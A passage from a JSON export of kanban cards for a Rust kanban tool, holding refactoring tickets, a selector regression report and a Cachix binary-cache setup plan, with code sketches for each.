        "title": "Reduce visibility of handle_archived_cards_view_mode and handle_animation_tick to pub(crate)",
        "updated_at": "2026-05-07T22:06:15.245167505Z"
      },
      {
        "card_number": 376,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:43.372874301Z",
        "description": "## Issue\n\nAfter the Model refactor, `auto_save()`, `export_board_with_filename()`, and `export_all_boards_with_filename()` all read from `self.model` rather than querying `self.ctx` directly:\n\n```rust\npub fn auto_save(&self) -> io::Result<()> {\n    let boards = self.model.boards();  // stale if prepare_frame() not called\n    // ...\n}\n```\n\nThe model is only guaranteed fresh after `prepare_frame()` has been called. In the current run loop this is always true, but there is no compile-time or runtime enforcement of this ordering. If any future call site invokes these methods before `prepare_frame()` (e.g. from a file-watcher callback or signal handler), silently stale data would be exported.\n\n## Suggested Implementation\n\nAdd a `/// Precondition: `prepare_frame()` must have been called this frame` doc comment to each affected method. Alternatively, have these methods call `self.ctx.snapshot()` directly instead of reading from `self.model`, making them self-contained and safe to call at any time — at the cost of an extra snapshot clone on each export.",
        "due_date": null,
        "id": "217dd2e1-5e41-45d5-8848-77c3733866a9",
        "points": null,
        "position": 173,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245168916Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126603589Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245169554Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document prepare_frame() precondition on auto_save() and export methods",
        "updated_at": "2026-05-07T22:06:15.245169880Z"
      },
      {
        "card_number": 210,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-02-17T22:22:00.293786995Z",
        "description": "When a sprint is ended it is currently a repetetive process to transfer cards over to a new sprint\n\nyou have to\n\n- end the sprint\n- create a new sprint (come up with a name)\n- go back to cards list\n- filter by the ended sprint\n- select all unfinished cards\n- assign to new sprint\n\nCould be made better with a carry over option when ending a sprint\n\nIf no sprint names are available, dialog to give otherwise consume sprint names",
        "due_date": null,
        "id": "b849870a-252f-477f-96d2-bd633e54a6d3",
        "points": 3,
        "position": 174,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856523368Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Carry over cards from ended sprint",
        "updated_at": "2026-05-14T10:57:05.237239005Z"
      },
      {
        "card_number": 377,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:43.896284255Z",
        "description": "## Issue\n\nThe `PersistenceStore` trait passes data as `StoreSnapshot { data: Vec<u8> }` — a JSON-encoded byte blob. `SqliteStore::save` then deserializes those bytes back to a `Snapshot` domain type before writing to SQL:\n\n```rust\nasync fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n    // JSON bytes → domain Snapshot → SQL (double-hop)\n    let domain_snapshot: Snapshot = serde_json::from_slice(&snapshot.data)?;\n    self.apply_snapshot_async(domain_snapshot).await?;\n}\n```\n\nThis means every save call performs JSON deserialization as an intermediate step that serves no purpose for SQLite — the data immediately goes into SQL tables. The same applies to `load`, which serializes the SQL result to JSON only to hand it back through the trait interface.\n\n## Suggested Implementation\n\nThis is an inherent trade-off of the `PersistenceStore` abstraction using a generic byte-envelope. Add a comment in the `save` and `load` impls explaining the JSON↔SQL round-trip and why it exists. Long-term, consider an alternate trait variant `NativePersistenceStore` that passes `Snapshot` directly, allowing SQL backends to skip the JSON hop.",
        "due_date": null,
        "id": "1892e9a1-67aa-4437-9bec-df42cafc3897",
        "points": null,
        "position": 174,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245171976Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126622194Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245172518Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document JSON double-serialization in SqliteStore::PersistenceStore::save",
        "updated_at": "2026-05-07T22:06:15.245173141Z"
      },
      {
        "card_number": 378,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:44.415076671Z",
        "description": "## Issue\n\nAfter the refactor, `undo()` and `redo()` set `needs_redraw = true` instead of calling `refresh_view()`:\n\n```rust\npub fn undo(&mut self) -> KanbanResult<()> {\n    if self.ctx.undo()? {\n        self.needs_redraw = true;\n    }\n    // ...\n}\n```\n\nThe old `refresh_view()` also called `sync_card_list_component()`. The new path is safe because `prepare_frame()` (called at the top of the render loop when `needs_redraw` is true) ends with `sync_card_list_component()`. However, this three-step chain is non-obvious and easy to break if the render loop is ever refactored.\n\n## Suggested Implementation\n\nAdd an inline comment on `self.needs_redraw = true` in `undo` and `redo` explaining the flow:\n\n```rust\n// needs_redraw triggers prepare_frame() in the run loop, which reloads the\n// snapshot into Model and calls sync_card_list_component() at the end.\nself.needs_redraw = true;\n```\n\nThis makes the implicit contract explicit for future maintainers.",
        "due_date": null,
        "id": "978779fb-9564-4193-b6a8-111047e5a9c6",
        "points": null,
        "position": 175,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245174494Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126596082Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245175253Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add comment tracing needs_redraw → prepare_frame → sync_card_list flow for undo/redo",
        "updated_at": "2026-05-07T22:06:15.245175686Z"
      },
      {
        "card_number": 256,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-03-30T00:10:04.739056992Z",
        "description": "## Problem\n\n`App::new()` always loaded files via `import_board_from_file()`, which calls `std::fs::read_to_string()`. This fails on binary SQLite `.db` files with:\n\n```\nstream did not contain valid UTF-8\n```\n\nThe `StateManager` correctly created a SQLite store via the `StoreRegistry`, but the initial data load bypassed it entirely, going through the JSON-only import path.\n\n## Root Cause\n\nIn `crates/kanban-tui/src/app/mod.rs`, `App::new()` unconditionally called `import_board_from_file(filename)` for any existing file, regardless of backend type.\n\n## Fix\n\nTwo changes in `crates/kanban-tui/src/app/mod.rs`:\n\n1. **`App::new()`** — skip `import_board_from_file` for `.db`/`.sqlite`/`.sqlite3` extensions, since those require async store loading\n2. **`run()`** — added async initial state loading via `store.load()` at the start of the method (before terminal setup), using the same pattern as `auto_reload_from_external_change`\n\nJSON files continue using the existing sync import path unchanged.",
        "due_date": null,
        "id": "a30bf99a-dc77-4aa8-b307-c163bc6afb8a",
        "points": 1,
        "position": 175,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856496808Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix SQLite .db file loading (read_to_string on binary file)",
        "updated_at": "2026-05-14T10:57:05.237239763Z"
      },
      {
        "card_number": 379,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:44.989424052Z",
        "description": "## Issue\n\nThe test `test_build_tasks_panel_title_cards_focus` asserts an exact string including the live card count:\n\n```rust\nassert_eq\\!(build_tasks_panel_title(&app, false), \"Tasks [2] (0)\",\n    \"empty board should show shortcut hint [2] and count (0)\");\n```\n\nThe `(0)` is coupled to the list length at test-setup time. If test setup ever adds cards, or if the function changes the count format, this assertion breaks without an obvious connection to the format change. The same issue affects `test_build_tasks_panel_title_archived_view` asserting `\"Archive [0]\"`.\n\n## Suggested Implementation\n\nAssert the invariants separately:\n\n```rust\nlet title = build_tasks_panel_title(&app, false);\nassert\\!(title.contains(\"[2]\"), \"must include shortcut hint [2]\");\nassert\\!(title.contains(\"(0)\"), \"must show zero-card count on empty board\");\n```\n\nOr extract the count-formatting logic into a testable pure function so the panel title test does not need to know the exact count format.",
        "due_date": null,
        "id": "254ec696-7ae3-4f2e-942b-24245d5329c5",
        "points": null,
        "position": 176,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245176821Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126620523Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245177248Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Harden build_tasks_panel_title test against card-count coupling",
        "updated_at": "2026-05-07T22:06:15.245177515Z"
      },
      {
        "card_number": 403,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-07T21:45:57.299426314Z",
        "description": "## Behaviour\n\nAfter creating a new card in the TUI, the selector stays on whichever card was previously selected instead of jumping to the newly created card. Any action taken immediately after creation (edit, move, open details) acts on the wrong card.\n\n## Expected\n\nThe selector should move to the newly created card immediately after creation, matching the pre-regression behaviour.\n\n## When it broke\n\nIntroduced in one of the recent large releases (v0.4.x range). The releases were substantial with many changes so the exact commit is unclear — bisect if needed.\n\n## Impact\n\nBlocks the demo recording (Beat 2 creates a card then immediately edits it in Beat 3 — the edit lands on the wrong card). Workaround for demo: manually navigate to the new card before editing.\n\n## Investigation starting point\n\nLook at the handler that processes card creation confirmation and the code path that refreshes the card list state. The selector position after list refresh is likely not being set to the new card's index.",
        "due_date": null,
        "id": "a41509b7-4ff6-4557-bd87-be5a83005b73",
        "points": null,
        "position": 176,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806941614Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Regression: card selector does not jump to newly created card",
        "updated_at": "2026-05-14T10:57:05.237240173Z"
      },
      {
        "card_number": 427,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T21:52:13.395460114Z",
        "description": "## Problem\n\n`DeleteBoard` in `kanban-domain` violates SRP. It knows how to cascade-delete across columns, active cards, archived cards, sprints, and the dependency graph — that is orchestration, not domain logic.\n\n```\n// crates/kanban-domain/src/commands/board_commands.rs:140-189\nimpl DeleteBoard {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        // collects column IDs → gathers active card IDs per column →\n        // fetches archived cards → removes graph edges →\n        // deletes active cards, archived cards, columns, sprints, board\n    }\n}\n```\n\nAdding any new entity type associated with a board (e.g. checklists, labels) requires modifying `DeleteBoard` — a violation of OCP.\n\n## Existing structure\n\nThe service layer already wraps this domain command:\n\n- `KanbanContext::delete_board()` at `crates/kanban-service/src/context.rs:752` — currently delegates to `BoardCommand::Delete(DeleteBoard { ... })`\n- `KanbanContext::snapshot()` / `apply_snapshot()` at `context.rs:129-135` — existing rollback primitives, reusable\n\nThis refactor is **invert the wrap**: pull the cascade orchestration up into the existing service method and reduce the domain command to atomic. The service method already exists — we are reshaping the boundary, not creating new orchestration entrypoints.\n\n## SOLID Solution\n\n**Single Responsibility / Open-Closed**: The domain command does one thing — delete the board record. Cascade orchestration belongs in the service layer, where composition is expected.\n\n**Dependency Inversion**: Service composes atomic domain commands; domain command no longer knows about siblings.\n\n### Step 1 — Make `DeleteBoard` atomic in the domain\n\n```rust\n// crates/kanban-domain/src/commands/board_commands.rs\nimpl DeleteBoard {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        context.store.delete_board(self.board_id)\n    }\n}\n```\n\n### Step 2 — Move cascade orchestration into existing `KanbanContext::delete_board()`\n\nThe existing wrapper at `context.rs:752` currently issues `BoardCommand::Delete(DeleteBoard { ... })`. Replace its body with explicit orchestration that wraps the atomic domain commands in a snapshot/rollback:\n\n```rust\n// crates/kanban-service/src/context.rs\nimpl KanbanContext {\n    pub async fn delete_board(&mut self, board_id: Uuid) -> KanbanResult<()> {\n        let snapshot = self.snapshot().await?;\n        let result = self.delete_board_inner(board_id).await;\n        if result.is_err() {\n            self.apply_snapshot(snapshot).await?;\n        }\n        result\n    }\n\n    async fn delete_board_inner(&mut self, board_id: Uuid) -> KanbanResult<()> {\n        // 1. Gather column + card IDs\n        let column_ids = self.list_column_ids_by_board(board_id).await?;\n        let mut all_card_ids: Vec<Uuid> = Vec::new();\n        for col_id in &column_ids {\n            all_card_ids.extend(self.list_card_ids_by_column(*col_id).await?);\n        }\n        all_card_ids.extend(self.list_archived_card_ids_by_columns(&column_ids).await?);\n\n        // 2. Remove graph edges via new atomic dependency command\n        self.execute(Command::Dependency(DependencyCommand::RemoveCards { ids: all_card_ids })).await?;\n\n        // 3. Atomic deletions, propagated outward\n        self.execute(Command::Card(CardCommand::DeleteCardsByColumns { column_ids: column_ids.clone() })).await?;\n        self.execute(Command::Card(CardCommand::DeleteArchivedCardsByColumns { column_ids })).await?;\n        self.execute(Command::Board(BoardCommand::DeleteColumnsByBoard { board_id })).await?;\n        self.execute(Command::Sprint(SprintCommand::DeleteSprintsByBoard { board_id })).await?;\n        self.execute(Command::Board(BoardCommand::Delete(DeleteBoard { board_id }))).await\n    }\n}\n```\n\n### Step 3 — Add `RemoveCards` to `DependencyCommand`\n\n```rust\n// crates/kanban-domain/src/commands/dependency_commands.rs\npub struct RemoveCards { pub ids: Vec<Uuid> }\nimpl RemoveCards {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        let ids = self.ids.clone();\n        context.store.modify_graph(Box::new(move |graph| {\n            for id in &ids { graph.cards.remove_card_edges(*id); }\n            Ok(())\n        }))\n    }\n}\n```\n\n## Files to modify\n\n- `crates/kanban-domain/src/commands/board_commands.rs` — simplify `DeleteBoard::execute` (lines 140-189)\n- `crates/kanban-domain/src/commands/dependency_commands.rs` — add `RemoveCards`\n- `crates/kanban-service/src/context.rs` — replace body of existing `delete_board()` at line 752, add private `delete_board_inner()`\n\n## Caller surfaces to verify\n\n- `crates/kanban-cli/src/handlers/board.rs:27-31` — CLI `BoardAction::Delete`\n- `crates/kanban-mcp/src/lib.rs:605-610` — MCP `tool_delete_board()`\n\nThese already call `KanbanContext::delete_board()` so no signature change needed — just verify behaviour after refactor.\n\n## Tests\n\n- Unit: `DeleteBoard` in isolation deletes only the board record\n- Unit: `RemoveCards` correctly removes all edges for given card IDs\n- Integration: `KanbanContext::delete_board()` with a real store verifies all associated entities are removed and the graph has no dangling edges (existing tests should pass unchanged)\n- Integration: Partial failure mid-cascade rolls back to snapshot (new test)",
        "due_date": null,
        "id": "e824cef5-14ba-4fe2-b4c3-d0cc73a5cc93",
        "points": null,
        "position": 177,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846365052Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Lift DeleteBoard cascade orchestration into service layer",
        "updated_at": "2026-05-14T10:57:05.237248364Z"
      },
      {
        "card_number": 380,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:45.554570052Z",
        "description": "## Issue\n\nThe `build.rs` that probes git for `GIT_COMMIT_HASH` was moved from `kanban-cli` to `kanban-core` so that `VERSION` can be shared between CLI and MCP. This is functionally correct, but `kanban-core` is a low-level foundation crate. Every crate in the workspace that depends on `kanban-core` now transitively triggers the git-probe build script on every rebuild — including `kanban-domain`, `kanban-persistence`, and their test harnesses.\n\n## Suggested Implementation\n\nKeep the `build.rs` in `kanban-core` (the current approach) but add a comment in `crates/kanban-core/build.rs` and in `crates/kanban-core/src/version.rs` noting that this build script runs for all dependents and explaining why core was chosen over a separate `kanban-version` micro-crate.\n\nLong-term alternative: introduce a minimal `kanban-version` crate (no other dependencies) that owns `build.rs` and `VERSION`. Both `kanban-cli` and `kanban-mcp` depend on it directly. `kanban-core` re-exports `VERSION` by depending on `kanban-version`. This isolates the build script to the crates that actually need version injection.",
        "due_date": null,
        "id": "0c2666d3-7419-4bbf-b2d7-7dbd7c792583",
        "points": null,
        "position": 177,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245179161Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126617063Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245179867Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document build-time cost of moving build.rs (GIT_COMMIT_HASH) to kanban-core",
        "updated_at": "2026-05-07T22:06:15.245180197Z"
      },
      {
        "card_number": 382,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T12:55:05.943103536Z",
        "description": "## Goal\n\nNew users and contributors should be able to `nix build` or `nix run` the tool in seconds by downloading a pre-built binary from Cachix instead of compiling the full Rust workspace (~5 minutes cold).\n\n## What needs to happen\n\n### 1. Create a Cachix cache\n- Sign up at https://cachix.org\n- Create a cache named `fulsomenko-kanban` (or similar)\n- Note the signing key and auth token\n\n### 2. Add Cachix to the flake\nAdd the cache URL to `flake.nix` so users are prompted to trust it:\n```nix\nnixConfig = {\n  extra-substituters = [ \"https://fulsomenko-kanban.cachix.org\" ];\n  extra-trusted-public-keys = [ \"fulsomenko-kanban.cachix.org-1:<public-key-here>\" ];\n};\n```\n\n### 3. Configure CI to push to Cachix\nIn the GitHub Actions workflow (or add one), after a successful build:\n```yaml\n- uses: cachix/cachix-action@v15\n  with:\n    name: fulsomenko-kanban\n    authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}\n```\nAdd `CACHIX_AUTH_TOKEN` as a GitHub Actions secret.\n\nTrigger on pushes to `develop` and on tags, building:\n- `packages.default` (kanban)\n- `packages.kanban-mcp`\n\n### 4. Document in README\nAdd a one-liner install section:\n```bash\ncachix use fulsomenko-kanban\nnix run github:fulsomenko/kanban\n```\n\n## Acceptance criteria\n- `nix build` on a machine that has never built this project completes in under 30 seconds after `cachix use fulsomenko-kanban`\n- CI pushes updated binaries automatically on every merge to `develop`",
        "due_date": null,
        "id": "fabc5180-280d-4bf0-97e7-74a1c307fd40",
        "points": null,
        "position": 178,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245184383Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126586158Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245184945Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Set up Cachix binary cache to eliminate nix build barrier to entry",
        "updated_at": "2026-05-07T22:06:15.245185168Z"
      },
      {
        "card_number": 428,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T21:52:16.841663592Z",
        "description": "## Problem\n\n`MoveCards` in `kanban-domain` mixes two concerns: domain validation (WIP limit) and algorithmic orchestration (computing target positions by counting cards already in the column):\n\n```rust\n// crates/kanban-domain/src/commands/card_commands.rs:288-326\nlet base = context\n    .store\n    .list_cards_by_column(self.column_id)?\n    .iter()\n    .filter(|c| !id_set.contains(&c.id))\n    .count();\nfor (i, id) in valid_ids.iter().enumerate() {\n    let mut card = context.get_card(*id)?;\n    card.move_to_column(self.column_id, (base + i) as i32);\n    context.store.upsert_card(card)?;\n}\n```\n\nThe position calculation is orchestration — read state, derive values, drive a sequence of mutations. The WIP limit check IS a domain business rule and belongs in the domain.\n\n## Existing structure\n\nThe service layer already wraps this domain command:\n\n- `KanbanContext::move_cards_detailed()` at `crates/kanban-service/src/context.rs:455` — currently delegates to `CardCommand::MoveMultiple(MoveCards { ... })`\n\nThis refactor is **invert the wrap**: move the position calculation up into the existing service method and reduce `MoveCards` to atomic per-card moves (or replace its use with singular `MoveCard`).\n\n## SOLID Solution\n\n**Single Responsibility**: Position calculation becomes a pure function; WIP validation stays in domain; batch orchestration moves up into the service.\n\n**Interface Segregation**: Domain exposes `MoveCard` (singular, atomic) and a pure position helper. The service composes these.\n\n### Step 1 — Extract pure position function into domain\n\n```rust\n// crates/kanban-domain/src/card_lifecycle.rs\npub fn compute_move_positions(\n    existing_cards: &[Card],\n    moving_ids: &HashSet<Uuid>,\n) -> impl Iterator<Item = (Uuid, i32)> + '_ {\n    let base = existing_cards.iter().filter(|c| !moving_ids.contains(&c.id)).count();\n    moving_ids.iter().enumerate().map(move |(i, id)| (*id, (base + i) as i32))\n}\n```\n\nPure, no I/O, fully testable on any platform without a store.\n\n### Step 2 — Remove or reduce `MoveCards` in domain\n\nOption A (preferred): Remove `MoveCards` entirely. Service uses `MoveCard` (singular) in a loop.\nOption B: Keep `MoveCards` but reduce to accept pre-computed `Vec<(Uuid, i32)>` instead of `Vec<Uuid>`.\n\n### Step 3 — Replace body of existing `move_cards_detailed()`\n\n```rust\n// crates/kanban-service/src/context.rs\nimpl KanbanContext {\n    pub async fn move_cards_detailed(\n        &mut self,\n        ids: Vec<Uuid>,\n        column_id: Uuid,\n    ) -> KanbanResult<MoveResult> {\n        // 1. Validate IDs (existing helper)\n        let valid_ids = self.filter_valid_card_ids(&ids).await?;\n\n        // 2. WIP limit check (domain rule)\n        self.check_wip_limit(column_id, valid_ids.len(), &valid_ids).await?;\n\n        // 3. Compute positions (pure function, no I/O)\n        let existing = self.list_cards_by_column(column_id).await?;\n        let id_set: HashSet<Uuid> = valid_ids.iter().copied().collect();\n        let positions: Vec<_> = compute_move_positions(&existing, &id_set).collect();\n\n        // 4. Issue atomic MoveCard commands\n        for (card_id, position) in positions {\n            self.execute(Command::Card(CardCommand::MoveCard {\n                id: card_id,\n                column_id,\n                position,\n            })).await?;\n        }\n        Ok(MoveResult { /* aggregate */ })\n    }\n}\n```\n\n## Files to modify\n\n- `crates/kanban-domain/src/commands/card_commands.rs` — remove or reduce `MoveCards` (lines 288-326)\n- `crates/kanban-domain/src/card_lifecycle.rs` — add `compute_move_positions()` pure function\n- `crates/kanban-service/src/context.rs` — replace body of existing `move_cards_detailed()` at line 455\n\n## Caller surfaces to verify\n\n- `crates/kanban-service/src/context.rs:456, 510, 1049-1053` — internal service callers\n- `crates/kanban-cli/src/handlers/card.rs:166` — CLI `CardAction::MoveCards`\n- `crates/kanban-mcp/src/lib.rs:924-930` — MCP `tool_move_cards()`\n\nAll call `KanbanContext::move_cards_detailed()` — no signature change needed.\n\n## Tests\n\n- Unit: `compute_move_positions()` with various combinations of existing/moving cards\n- Unit: WIP limit rejection when batch exceeds column capacity\n- Integration: `KanbanContext::move_cards_detailed()` final positions contiguous and correct (existing tests should pass unchanged)\n\n## Cascade primitives note\n\nIf this lift produces any bulk, validation-bypassing operations that are only valid when executed in a specific sequence, those primitives belong in `cascade_commands` rather than their per-entity module — not because of the entity type, but because of the ordering invariant. Regular commands are self-contained and independently valid; cascade primitives are not.",
        "due_date": null,
        "id": "21272340-de01-49c2-89fa-65dfdabdd1ed",
        "points": null,
        "position": 178,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846376575Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Lift MoveCards batch position calculation into service layer",
        "updated_at": "2026-05-14T10:57:05.237248996Z"
      },
      {
        "card_number": 430,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T21:52:21.397986813Z",
        "description": "## Problem\n\n`MigrateSprintLogs` in `kanban-domain` is a data backfill utility masquerading as a domain command. It fetches all cards, calls a pure migration function, then upserts only modified cards. This is infrastructure-level orchestration — not a domain business rule.\n\n```rust\n// crates/kanban-domain/src/commands/card_commands.rs:439-462\nimpl MigrateSprintLogs {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        let mut cards = context.store.list_all_cards()?;\n        let sprints = context.store.list_all_sprints()?;\n        let boards = context.store.list_boards()?;\n        let before_lens: Vec<usize> = cards.iter().map(|c| c.sprint_logs.len()).collect();\n        let count = crate::card_lifecycle::migrate_sprint_logs(&mut cards, &sprints, &boards);\n        if count > 0 {\n            tracing::info!(\"Migrated sprint logs for {} card(s)\", count);\n            for (card, before_len) in cards.into_iter().zip(before_lens) {\n                if card.sprint_logs.len() != before_len {\n                    context.store.upsert_card(card)?;\n                }\n            }\n        }\n        Ok(())\n    }\n}\n```\n\nThe pure function `card_lifecycle::migrate_sprint_logs()` is correct domain logic and stays. Only the orchestration wrapper moves.\n\n## What to remove from domain\n\n- `pub struct MigrateSprintLogs;` and its `impl` block — `card_commands.rs:439-462`\n- `CardCommand::MigrateSprintLogs(MigrateSprintLogs)` variant — `card_commands.rs:23`\n- The two dispatch arms in `CardCommand::execute` and `CardCommand::description` — `card_commands.rs:40, 57`\n- The serde roundtrip test `test_command_serde_roundtrip_migrate_sprint_logs` — `commands/mod.rs:315-322`\n- The domain inline test `test_migrate_sprint_logs_backfills_cards_missing_sprint_log` — `card_commands.rs:984-1010` — move this coverage to the service integration test instead\n\n## What to add to service\n\nAdd directly on `KanbanContext` (not on `KanbanOperations` — this is a one-time backfill utility, not a regular operation):\n\n```rust\n// crates/kanban-service/src/context.rs\npub fn migrate_sprint_logs(&mut self) -> KanbanResult<usize> {\n    let mut cards = self.backend.list_all_cards()?;\n    let sprints = self.backend.list_all_sprints()?;\n    let boards = self.backend.list_boards()?;\n    let before_lens: Vec<usize> = cards.iter().map(|c| c.sprint_logs.len()).collect();\n    let count = kanban_domain::card_lifecycle::migrate_sprint_logs(&mut cards, &sprints, &boards);\n    if count > 0 {\n        tracing::info!(\"Migrated sprint logs for {} card(s)\", count);\n        for (card, before_len) in cards.into_iter().zip(before_lens) {\n            if card.sprint_logs.len() != before_len {\n                self.backend.upsert_card(card)?;\n            }\n        }\n    }\n    Ok(count)\n}\n```\n\nNote: `self.backend.list_all_cards()`, `self.backend.list_all_sprints()`, `self.backend.list_boards()`, and `self.backend.upsert_card()` are the correct sync method names — verified from the existing context.rs patterns.\n\n## Undo stack — intentional behaviour change\n\nCurrently the TUI calls this via `execute_command` which routes through `KanbanContext::execute` and lands on the undo stack. After this refactor, the direct call bypasses the undo stack. This is correct — a data migration should not be undoable.\n\n## TUI update\n\n`crates/kanban-tui/src/app/mod.rs:2294-2303` — the private `migrate_sprint_logs` helper on `App` currently does:\n\n```rust\nfn migrate_sprint_logs(&mut self) {\n    let cmd = kanban_domain::commands::Command::Card(\n        kanban_domain::commands::CardCommand::MigrateSprintLogs(\n            kanban_domain::commands::MigrateSprintLogs,\n        ),\n    );\n    if let Err(e) = self.ctx.execute_command(cmd) {\n        tracing::error!(\"Failed to migrate sprint logs: {}\", e);\n    }\n}\n```\n\nReplace with:\n\n```rust\nfn 